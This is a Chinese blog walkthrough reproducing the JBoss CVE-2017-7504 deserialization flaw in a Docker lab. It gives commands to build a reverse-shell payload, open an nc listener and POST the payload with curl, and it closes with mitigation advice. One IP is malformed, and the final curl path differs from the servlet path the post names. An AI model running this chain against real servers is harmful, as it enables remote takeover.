漏洞详情

JBoss AS 4.x 及之前版本中, JbossMQ 实现过程的 JMS over HTTP Invocation Layer 的 HTTPServerILServlet.java 文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
CVE-2017-7504 漏洞与 CVE-2015-7501 的漏洞原理相似,只是利用的路径稍微出现了变化, CVE-2017-7504 出现在 /jbossmq-httpil/HTTPServerILServlet 路径下。JBoss AS 4.x及之前版本中,JbossMQ实现过程的 JMS over HTTP Invocation Layer 的HTTPServerILServlet.java ⽂件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利⽤该漏洞执⾏任意代码。

影响范围

JBoss AS 4.x及之前版本

Docker靶场环境搭建

cd joobs
ls
cd CVE-2017-7504
ls
docker-compose up -d
docker ps

在这里插入图片描述

漏洞复现

  1. 访问靶场地址。
http://ip地址:8080

在这里插入图片描述

  1. 访问 http://192.1668.114.130:8080/jbossmq-httpil/HTTPServerILServlet ,若出现如下界面则存在漏洞
    在这里插入图片描述

  2. 使用攻击机下载对应的漏洞利用工具。

https://github.com/ianxtianxt/CVE-2015-7501/
  1. 进入目录执行
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

在这里插入图片描述

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:port
(IP是攻击机ip,port是要监听的端口)

在这里插入图片描述

  1. 使用nc打开端口监听
nc -lnvp 5555

在这里插入图片描述

  1. 再用之前生成的.ser文件,通过POST二进制数据上去,使用
    nc监听端口,即可拿到shell
curl http://目标ip:port/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

在这里插入图片描述

总结

1、在GitHub上面下载我们需要的漏洞poc。
2、下载执行生成二进制的payload文件。
3、设置接受shell的主机IP和端口
4、监听端口。
5、向被攻击服务器发送攻击Payload。

防护建议

  1. 升级到JBOSS AS7。

  2. 临时解决方案:

(1)不需要 http-invoker.sar 组件的用户可直接删除此组件。

(2)添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中:/*用于对 http invoker 组件进行访问控制。

Logo

北京人形旗下天工造物具身智能开源社区,聚焦具身天工与慧思开物两大平台

更多推荐